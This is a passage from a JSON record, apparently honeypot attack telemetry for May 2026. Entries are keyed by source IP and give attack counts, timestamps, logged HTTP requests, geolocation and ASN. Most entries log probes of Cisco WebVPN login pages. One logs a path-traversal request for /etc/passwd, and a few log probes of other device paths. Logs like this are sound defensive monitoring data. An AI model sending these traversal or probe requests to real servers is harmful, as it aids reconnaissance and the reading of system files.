      "last_seen": "2026-05-23T04:40:33.921Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.80": {
      "attack_count": 6,
      "first_seen": "2026-05-09T06:15:45.631Z",
      "last_seen": "2026-05-29T21:52:20.556Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.206": {
      "attack_count": 6,
      "first_seen": "2026-05-02T00:37:00.102Z",
      "last_seen": "2026-05-05T09:02:14.648Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.73": {
      "attack_count": 6,
      "first_seen": "2026-05-24T00:47:06.895Z",
      "last_seen": "2026-05-27T20:08:20.333Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.102": {
      "attack_count": 6,
      "first_seen": "2026-05-07T02:04:43.008Z",
      "last_seen": "2026-05-07T02:05:03.750Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.116": {
      "attack_count": 6,
      "first_seen": "2026-05-08T02:58:49.619Z",
      "last_seen": "2026-05-08T02:59:26.430Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.39": {
      "attack_count": 6,
      "first_seen": "2026-05-25T04:55:50.780Z",
      "last_seen": "2026-05-25T04:57:20.755Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "5.61.209.224": {
      "attack_count": 4,
      "first_seen": "2026-05-04T04:05:10.620Z",
      "last_seen": "2026-05-29T16:51:35.622Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "216.218.206.113": {
      "attack_count": 3,
      "first_seen": "2026-05-08T10:37:24.494Z",
      "last_seen": "2026-05-08T10:37:43.959Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.234.106.74": {
      "attack_count": 3,
      "first_seen": "2026-05-08T04:09:34.714Z",
      "last_seen": "2026-05-08T04:09:43.814Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.74": {
      "attack_count": 3,
      "first_seen": "2026-05-07T10:45:39.214Z",
      "last_seen": "2026-05-07T10:45:49.009Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.200": {
      "attack_count": 3,
      "first_seen": "2026-05-05T01:35:37.712Z",
      "last_seen": "2026-05-05T01:35:46.312Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "8.209.97.111": {
      "attack_count": 3,
      "first_seen": "2026-05-05T09:03:01.437Z",
      "last_seen": "2026-05-05T09:03:05.483Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "13.222.179.236": {
      "attack_count": 2,
      "first_seen": "2026-05-15T01:05:24.024Z",
      "last_seen": "2026-05-15T01:05:27.027Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "135.233.112.109": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:36:33.942Z",
      "last_seen": "2026-05-22T09:36:36.945Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "147.185.132.201": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:19:36.649Z",
      "last_seen": "2026-05-08T23:19:39.652Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "205.210.31.69": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:57:28.519Z",
      "last_seen": "2026-05-23T01:57:31.521Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "45.156.128.45": {
      "attack_count": 2,
      "first_seen": "2026-05-15T02:42:51.497Z",
      "last_seen": "2026-05-15T02:42:54.501Z",
      "ports": [],
      "event_types": [
        "\"GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "80.174.92.223": {
      "attack_count": 2,
      "first_seen": "2026-05-30T15:22:12.949Z",
      "last_seen": "2026-05-30T15:22:15.953Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Newport",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "100.27.192.197": {
      "attack_count": 1,
      "first_seen": "2026-05-16T00:59:58.364Z",
      "last_seen": "2026-05-16T00:59:58.364Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "13.222.129.81": {
      "attack_count": 1,
      "first_seen": "2026-05-08T00:58:26.320Z",
      "last_seen": "2026-05-08T00:58:26.320Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "136.144.19.73": {
      "attack_count": 1,
      "first_seen": "2026-05-08T22:08:52.941Z",
      "last_seen": "2026-05-08T22:08:52.941Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 206092,
      "as_org": "F.n.s. Holdings Limited"
    },
    "195.184.76.250": {
      "attack_count": 1,
      "first_seen": "2026-05-14T11:24:23.847Z",
      "last_seen": "2026-05-14T11:24:23.847Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "204.236.211.208": {
      "attack_count": 1,
      "first_seen": "2026-05-10T01:11:10.721Z",
      "last_seen": "2026-05-10T01:11:10.721Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "23.129.64.224": {
      "attack_count": 1,
      "first_seen": "2026-05-24T01:27:57.881Z",
      "last_seen": "2026-05-24T01:27:57.881Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/modules/config.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion"
    },
    "64.62.156.117": {
      "attack_count": 1,
      "first_seen": "2026-05-29T08:01:12.807Z",
      "last_seen": "2026-05-29T08:01:12.807Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.196": {
      "attack_count": 1,
      "first_seen": "2026-05-07T10:45:45.003Z",
      "last_seen": "2026-05-07T10:45:45.003Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.46": {
      "attack_count": 1,
      "first_seen": "2026-05-05T10:50:15.076Z",
      "last_seen": "2026-05-05T10:50:15.076Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.67": {
      "attack_count": 1,
      "first_seen": "2026-05-24T02:59:27.454Z",
      "last_seen": "2026-05-24T02:59:27.454Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.12": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:33:51.065Z",
      "last_seen": "2026-05-26T00:33:51.065Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "95.134.238.110": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:32:14.046Z",
      "last_seen": "2026-05-30T15:32:14.046Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "85.239.147.7": {
      "attack_count": 4525,
      "first_seen": "2026-05-23T08:34:11.026Z",
      "last_seen": "2026-05-23T13:20:02.428Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.0\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.0\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.0\" 200 -",
        "\"GET /RDWeb HTTP/1.0\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213474,
      "as_org": "HomeLine Broadband LLC"
    },
    "89.37.63.159": {
      "attack_count": 99,
      "first_seen": "2026-05-19T01:40:51.321Z",
      "last_seen": "2026-05-31T04:09:38.037Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.213.154.182": {
      "attack_count": 63,
      "first_seen": "2026-05-08T17:04:59.840Z",
      "last_seen": "2026-05-31T04:46:05.435Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "37.19.221.158": {
      "attack_count": 48,
      "first_seen": "2026-05-04T14:13:38.132Z",
      "last_seen": "2026-05-29T12:04:18.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.75.81": {
      "attack_count": 42,
      "first_seen": "2026-05-03T17:53:01.039Z",
      "last_seen": "2026-05-26T01:14:38.420Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.225": {
      "attack_count": 36,
      "first_seen": "2026-05-05T02:31:39.547Z",
      "last_seen": "2026-05-27T23:20:33.131Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.39": {
      "attack_count": 35,
      "first_seen": "2026-05-02T08:15:06.874Z",
      "last_seen": "2026-05-27T22:04:02.835Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.171.70": {
      "attack_count": 33,
      "first_seen": "2026-05-02T01:44:14.281Z",
      "last_seen": "2026-05-29T10:57:32.959Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.161": {
      "attack_count": 33,
      "first_seen": "2026-05-03T17:10:12.347Z",
      "last_seen": "2026-05-30T01:38:50.187Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.95.68": {
      "attack_count": 33,
      "first_seen": "2026-05-08T15:32:21.813Z",
      "last_seen": "2026-05-26T17:58:26.312Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.150": {
      "attack_count": 32,
      "first_seen": "2026-05-02T03:05:25.097Z",
      "last_seen": "2026-05-30T13:38:27.243Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.195": {
      "attack_count": 30,
      "first_seen": "2026-05-04T22:48:51.420Z",
      "last_seen": "2026-05-30T11:13:13.604Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.37": {
      "attack_count": 30,
      "first_seen": "2026-05-07T07:55:05.906Z",
      "last_seen": "2026-05-25T16:15:14.526Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.49": {
      "attack_count": 30,
      "first_seen": "2026-05-08T01:35:22.452Z",
      "last_seen": "2026-05-30T10:25:39.965Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.39": {
      "attack_count": 27,
      "first_seen": "2026-05-05T17:56:17.140Z",
      "last_seen": "2026-05-30T03:38:11.522Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.73": {
      "attack_count": 27,
      "first_seen": "2026-05-05T07:06:59.591Z",
      "last_seen": "2026-05-30T12:48:21.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.207": {
      "attack_count": 27,
      "first_seen": "2026-05-05T01:09:13.496Z",
      "last_seen": "2026-05-30T07:18:16.223Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.80": {
      "attack_count": 26,
      "first_seen": "2026-05-05T11:40:34.638Z",
      "last_seen": "2026-05-25T14:53:49.567Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.195": {
      "attack_count": 25,
      "first_seen": "2026-05-02T03:44:40.306Z",
      "last_seen": "2026-05-25T15:17:26.613Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.251.27.195": {
      "attack_count": 24,
      "first_seen": "2026-05-07T08:21:33.492Z",
      "last_seen": "2026-05-30T12:29:36.297Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.159.216.195": {
      "attack_count": 24,
      "first_seen": "2026-05-03T10:35:57.841Z",
      "last_seen": "2026-05-31T03:19:03.402Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.112.150": {
      "attack_count": 24,
      "first_seen": "2026-05-04T20:51:11.290Z",
      "last_seen": "2026-05-30T08:39:00.429Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.207": {
      "attack_count": 24,
      "first_seen": "2026-05-02T02:47:42.803Z",
      "last_seen": "2026-05-27T20:54:05.416Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.194": {
      "attack_count": 24,
      "first_seen": "2026-05-04T13:52:42.725Z",
      "last_seen": "2026-05-29T11:58:54.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.73": {
      "attack_count": 24,
      "first_seen": "2026-05-02T03:43:49.820Z",
      "last_seen": "2026-05-16T08:17:42.698Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "130.49.25.107": {
      "attack_count": 21,
      "first_seen": "2026-05-26T01:27:06.409Z",
      "last_seen": "2026-05-27T16:21:52.767Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Burlington",
